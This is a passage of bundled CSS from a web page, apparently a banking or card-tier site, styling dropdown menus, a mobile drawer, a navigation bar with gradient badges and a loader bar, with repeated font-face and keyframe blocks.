@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.dropdow--user__container {
width: 100%;
height: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: rgba(0, 0, 0, 0.25); }
.dropdow--user__container.hidden {
visibility: hidden; }
.dropdow--user__container.show {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
@media (max-width: 1024px) {
.dropdow--user__container {
display: none; } }
.dropdow--user__container .container__list {
position: absolute;
padding: 8px;
box-sizing: border-box;
background-color: #ffffff;
box-shadow: 0px 13px 35px -20px rgba(0, 0, 0, 0.25), 0px 0px 1px rgba(40, 41, 61, 0.08), 0px 0.5px 2px rgba(96, 97, 112, 0.16);
border-radius: 6px; }
.dropdow--user__container .container__list .list__option {
width: 100%;
height: 35px;
display: flex;
align-items: center;
margin-bottom: 4px;
border-radius: 6px;
padding: 0 8px;
box-sizing: border-box;
cursor: pointer; }
.dropdow--user__container .container__list .list__option:last-child {
margin-bottom: 0; }
.dropdow--user__container .container__list .list__option.active {
background-color: #ecf2f8; }
.dropdow--user__container .container__list .list__option:hover {
background-color: #f4f7fa; }
.dropdow--user__container .container__list .list__option .option__name {
font-family: Nunito-Semibold;
font-size: 14px;
line-height: 20px;
color: #122e43; }
.dropdow--user__container .container__list .list__option .option__name.active {
font-family: Nunito-Bold;
color: #2d9cdb; }
.dropdow--user__container .container__list .list__option .option__badge {
height: 16px;
border-radius: 14px;
padding: 0 8px;
display: flex;
align-items: center;
color: #ffffff;
margin-left: 8px;
font-family: Nunito-Bold;
font-size: 10px;
line-height: 14px; }
.dropdow--user__container .container__list .list__option .option__badge.purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.dropdow--user__container .container__list .list__option .option__badge.mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.dropdow--user__container .container__list .list__option .option__badge.sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.dropdow--user__container .container__list .list__option .option__badge.emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.dropdow--user__container .container__list .list__option .option__badge.ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.drawer--menu__container {
display: flex;
width: 100%;
height: 100%;
position: fixed;
background-color: rgba(0, 0, 0, 0.25);
left: 0;
top: 0;
opacity: 0;
visibility: hidden; }
.drawer--menu__container.close {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer--menu__container.open {
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
opacity: 1;
visibility: visible;
z-index: 10; }
@media (min-width: 1025px) {
.drawer--menu__container {
display: none; } }
.drawer--menu__container .container__menu {
width: 320px;
min-height: 100vh;
background-color: #ffffff;
position: fixed;
top: 0;
right: 0;
bottom: 0;
overflow-y: scroll;
margin-right: -320px;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer--menu__container .container__menu.open {
margin-right: 0;
-webkit-transition-delay: 0.3s;
-moz-transition-delay: 0.3s;
-ms-transition-delay: 0.3s;
-o-transition-delay: 0.3s;
transition-delay: 0.3s; }
.drawer--menu__container .container__menu.close {
margin-right: -320px; }
.drawer--menu__container .container__menu .menu__icon--close {
position: absolute;
top: 12px;
right: 12px;
width: 24px;
height: 24px;
cursor: pointer; }
.drawer--menu__container .container__menu .menu__cards {
width: 100%;
height: 80px;
display: flex;
justify-content: center;
align-items: center;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.drawer--menu__container .container__menu .menu__cards.card--default {
background-color: #2A89A2; }
.drawer--menu__container .container__menu .menu__cards.card--platinum {
background-color: #172A48; }
.drawer--menu__container .container__menu .menu__cards.card--black {
background-color: #1A1A1F; }
.drawer--menu__container .container__menu .menu__cards .cards__select {
background-color: transparent;
border: 0;
color: #ffffff;
outline: 0;
font-family: Nunito-Regular;
font-size: 14px;
line-height: 20px; }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.transitory__menu {
width: 100%;
height: 52px;
background-color: #ffffff;
display: flex;
align-items: center;
box-sizing: border-box;
padding-left: 48px; }
@media (max-width: 1024px) {
.transitory__menu {
flex-direction: column;
height: auto;
padding: 0; } }
.transitory__menu .menu__option {
display: flex;
justify-content: center;
align-items: center;
height: 100%;
margin-right: 56px;
cursor: pointer;
position: relative;
box-sizing: border-box; }
.transitory__menu .menu__option.hover.active, .transitory__menu .menu__option.hover:hover {
background: linear-gradient(to left, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
background-size: 100% 4px;
background-repeat: no-repeat;
background-position-y: bottom; }
@media (max-width: 1024px) {
.transitory__menu .menu__option.hover.active, .transitory__menu .menu__option.hover:hover {
background: none; } }
@media (max-width: 1024px) {
.transitory__menu .menu__option.hover.active {
background: linear-gradient(to bottom, #FD8300 25%, #F10001 50%, #F10092 75%, #056BB1 100%);
background-size: 4px 30px;
background-repeat: no-repeat;
background-position: left center; } }
.transitory__menu .menu__option.loading:hover {
background: none; }
.transitory__menu .menu__option.only--mobile {
display: none; }
@media (max-width: 1024px) {
.transitory__menu .menu__option.only--mobile {
display: flex; } }
@media (max-width: 1024px) {
.transitory__menu .menu__option {
width: 100%;
height: 56px;
justify-content: space-between;
margin: 0;
border-bottom: 1px solid #e6eaee;
padding-right: 16px; } }
.transitory__menu .menu__option .option__name {
font-family: Nunito-SemiBold;
font-size: 16px;
line-height: 22px;
color: #122e43;
display: flex;
align-items: center; }
.transitory__menu .menu__option .option__name.active {
font-family: Nunito-ExtraBold; }
.transitory__menu .menu__option .option__name.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.transitory__menu .menu__option .option__name.loading {
width: 120px;
height: 20px;
border-radius: 50px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-45deg, #ecf2f8, #f4f7fa, #ecf2f8);
background-size: 350% 200%; }
@media (max-width: 1024px) {
.transitory__menu .menu__option .option__name.loading {
width: 200px; } }
@media (max-width: 1024px) {
.transitory__menu .menu__option .option__name {
line-height: 24px;
margin: 0 16px; } }
.transitory__menu .menu__option .option__name .name__badge {
height: 16px;
border-radius: 14px;
padding: 0 8px;
display: flex;
align-items: center;
color: #ffffff;
margin-left: 4px;
font-family: Nunito-Bold;
font-size: 9px;
line-height: 14px; }
.transitory__menu .menu__option .option__name .name__badge.purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.transitory__menu .menu__option .option__name .name__badge.mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.transitory__menu .menu__option .option__name .name__badge.sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.transitory__menu .menu__option .option__name .name__badge.emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.transitory__menu .menu__option .option__name .name__badge.ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
.transitory__menu .menu__option .option__icon {
width: 16px;
height: 16px;
margin-left: 4px;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s;
-webkit-transform: rotateZ(0);
-moz-transform: rotateZ(0);
-ms-transform: rotateZ(0);
-o-transform: rotateZ(0);
transform: rotateZ(0); }
.transitory__menu .menu__option .option__icon.open {
-webkit-transform: rotateZ(360deg);
-moz-transform: rotateZ(360deg);
-ms-transform: rotateZ(360deg);
-o-transform: rotateZ(360deg);
transform: rotateZ(360deg); }
.transitory__menu .menu__option .option__icon.close {
-webkit-transform: rotateZ(0);
-moz-transform: rotateZ(0);
-ms-transform: rotateZ(0);
-o-transform: rotateZ(0);
transform: rotateZ(0); }
.transitory__menu .menu__expansible {
display: none; }
@media (max-width: 1024px) {
.transitory__menu .menu__expansible {
width: 100%;
display: flex;
flex-direction: column;
box-sizing: border-box; }
.transitory__menu .menu__expansible.open {
padding: 16px 32px;
border-bottom: 1px solid #e6eaee;
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease;
-webkit-animation: fadeIn ease 0.25s;
-moz-animation: fadeIn ease 0.25s;
-o-animation: fadeIn ease 0.25s;
animation: fadeIn ease 0.25s; }
.transitory__menu .menu__expansible.close {
visibility: hidden;
-webkit-transition-property: transform, max-height;
-moz-transition-property: transform, max-height;
-ms-transition-property: transform, max-height;
-o-transition-property: transform, max-height;
transition-property: transform, max-height;
-webkit-transition-duration: 0.25s;
-moz-transition-duration: 0.25s;
-ms-transition-duration: 0.25s;
-o-transition-duration: 0.25s;
transition-duration: 0.25s;
-webkit-transition-timing-function: ease;
-moz-transition-timing-function: ease;
-ms-transition-timing-function: ease;
-o-transition-timing-function: ease;
transition-timing-function: ease;
-webkit-animation: fadeOut ease 0.25s;
-moz-animation: fadeOut ease 0.25s;
-o-animation: fadeOut ease 0.25s;
animation: fadeOut ease 0.25s; }
.transitory__menu .menu__expansible .expansible__option {
display: flex;
align-items: center;
height: 24px;
margin-bottom: 12px; }
.transitory__menu .menu__expansible .expansible__option:last-child {
margin-bottom: 0; }
.transitory__menu .menu__expansible .expansible__option.loading {
width: 150px;
height: 18px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-90deg, #d8e6f3, #ecf2f8, #d8e6f3);
background-size: 350% 200%; }
.transitory__menu .menu__expansible .expansible__option.fadeIn {
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.transitory__menu .menu__expansible .expansible__option .option__name {
font-family: Nunito-SemiBold;
font-size: 14px;
line-height: 24px;
color: #122e43;
cursor: pointer; }
.transitory__menu .menu__expansible .expansible__option .option__name.active {
font-family: Nunito-Bold;
color: #2d9cdb; }
.transitory__menu .menu__expansible .expansible__option .option__badge {
height: 16px;
border-radius: 14px;
padding: 0 8px;
display: flex;
align-items: center;
color: #ffffff;
margin-left: 4px;
font-family: Nunito-Bold;
font-size: 9px;
line-height: 14px; }
.transitory__menu .menu__expansible .expansible__option .option__badge.purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.transitory__menu .menu__expansible .expansible__option .option__badge.mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.transitory__menu .menu__expansible .expansible__option .option__badge.sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.transitory__menu .menu__expansible .expansible__option .option__badge.emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.transitory__menu .menu__expansible .expansible__option .option__badge.ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); } }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.dropdow--menu__container {
width: max-content;
position: absolute;
padding: 8px;
background-color: #ffffff;
box-shadow: 0px 13px 35px -20px rgba(0, 0, 0, 0.25), 0px 0px 1px rgba(40, 41, 61, 0.08), 0px 0.5px 2px rgba(96, 97, 112, 0.16);
border-radius: 6px;
z-index: 10; }
.dropdow--menu__container.hidden {
visibility: hidden; }
.dropdow--menu__container.show {
visibility: visible; }
@media (max-width: 1024px) {
.dropdow--menu__container {
display: none; } }
.dropdow--menu__container .container__suboption {
width: 100%;
height: 35px;
display: flex;
align-items: center;
margin-bottom: 4px;
border-radius: 6px;
padding: 0 8px;
box-sizing: border-box;
cursor: pointer; }
.dropdow--menu__container .container__suboption:last-child {
margin-bottom: 0; }
.dropdow--menu__container .container__suboption.active {
background-color: #ecf2f8; }
.dropdow--menu__container .container__suboption:hover {
background-color: #f4f7fa; }
.dropdow--menu__container .container__suboption .suboption__loading {
width: 100%;
height: 20px;
border-radius: 10px;
-webkit-animation: animation-menu 2s infinite;
-moz-animation: animation-menu 2s infinite;
-o-animation: animation-menu 2s infinite;
animation: animation-menu 2s infinite;
background: linear-gradient(-90deg, #d8e6f3, #ecf2f8, #d8e6f3);
background-size: 350% 200%; }
.dropdow--menu__container .container__suboption .suboption__name {
font-family: Nunito-Semibold;
font-size: 14px;
line-height: 20px;
color: #122e43; }
.dropdow--menu__container .container__suboption .suboption__name.active {
font-family: Nunito-Bold;
color: #2d9cdb; }
.dropdow--menu__container .container__suboption .suboption__badge {
height: 16px;
border-radius: 14px;
padding: 0 8px;
display: flex;
align-items: center;
color: #ffffff;
margin-left: 8px;
font-family: Nunito-Bold;
font-size: 10px;
line-height: 14px; }
.dropdow--menu__container .container__suboption .suboption__badge.purple {
background: linear-gradient(90deg, #ce2aaa 0%, #1d68d8 100%); }
.dropdow--menu__container .container__suboption .suboption__badge.mandarin {
background: linear-gradient(90deg, #fd5b00 0%, #fd8300 100%); }
.dropdow--menu__container .container__suboption .suboption__badge.sky {
background: linear-gradient(90deg, #1d68d8 0%, #1ee4ff 100%); }
.dropdow--menu__container .container__suboption .suboption__badge.emerald {
background: linear-gradient(90deg, #fdf737 0%, #1ab0a7 100%); }
.dropdow--menu__container .container__suboption .suboption__badge.ocean {
background: linear-gradient(90deg, #005da0 0%, #2d9cdb 100%); }
</style><style type="text/css">@charset "UTF-8";
/* Nunito Fonts */
@font-face {
font-family: Nunito-Black;
src: url("../fonts/Nunito-Black.ttf");
font-weight: 900; }
@font-face {
font-family: Nunito-ExtraBold;
src: url("../fonts/Nunito-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: Nunito-Bold;
src: url("../fonts/Nunito-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: Nunito-SemiBold;
src: url("../fonts/Nunito-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: Nunito-Regular;
src: url("../fonts/Nunito-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: Nunito-Light;
src: url("../fonts/Nunito-Light.ttf");
font-weight: 300; }
/* Nunito Sans Font */
@font-face {
font-family: NunitoSans-Black;
src: url("../fonts/NunitoSans-Black.ttf");
font-weight: 900; }
@font-face {
font-family: NunitoSans-ExtraBold;
src: url("../fonts/NunitoSans-ExtraBold.ttf");
font-weight: 800; }
@font-face {
font-family: NunitoSans-Bold;
src: url("../fonts/NunitoSans-Bold.ttf");
font-weight: 700; }
@font-face {
font-family: NunitoSans-SemiBold;
src: url("../fonts/NunitoSans-SemiBold.ttf");
font-weight: 600; }
@font-face {
font-family: NunitoSans-Regular;
src: url("../fonts/NunitoSans-Regular.ttf");
font-weight: 400; }
@font-face {
font-family: NunitoSans-Light;
src: url("../fonts/NunitoSans-Light.ttf");
font-weight: 300; }
/* Primary Colors */
/* Secundary Colors */
/* Complementary Colors */
/* Others Colors */
/* Transparents Colors */
/* Shadows */
/* Mixins */
@keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-webkit-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-moz-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@-o-keyframes animation-menu {
0% {
background-position: 100% 0%; }
50% {
background-position: 91% 100%; }
100% {
background-position: 10% 0%; } }
@keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes animation-selectCard {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-webkit-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-moz-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@-o-keyframes fadeIn {
0% {
opacity: 0; }
100% {
opacity: 1; } }
@keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-webkit-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-moz-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@-o-keyframes fadeOut {
0% {
opacity: 1; }
100% {
opacity: 0; } }
@keyframes loading {
0% {
-moz-transform: rotate(0deg);
-ms-transform: rotate(0deg);
-o-transform: rotate(0deg);
transform: rotate(0deg); }
100% {
-moz-transform: rotate(360deg);
-ms-transform: rotate(360deg);
-o-transform: rotate(360deg);
transform: rotate(360deg); } }
.transitory__loader {
width: 100%;
height: 8px;
-webkit-transition: 0.3s;
-moz-transition: 0.3s;
-ms-transition: 0.3s;
-o-transition: 0.3s;
transition: 0.3s; }
.transitory__loader.loader--default {
background-color: #2A89A2;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.transitory__loader.loader--platinum {
background-color: #172A48;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.transitory__loader.loader--black {
background-color: #1A1A1F;
-webkit-animation: fadeIn ease 1s;
-moz-animation: fadeIn ease 1s;
-o-animation: fadeIn ease 1s;
animation: fadeIn ease 1s; }
.transitory__loader.loader--progressive {
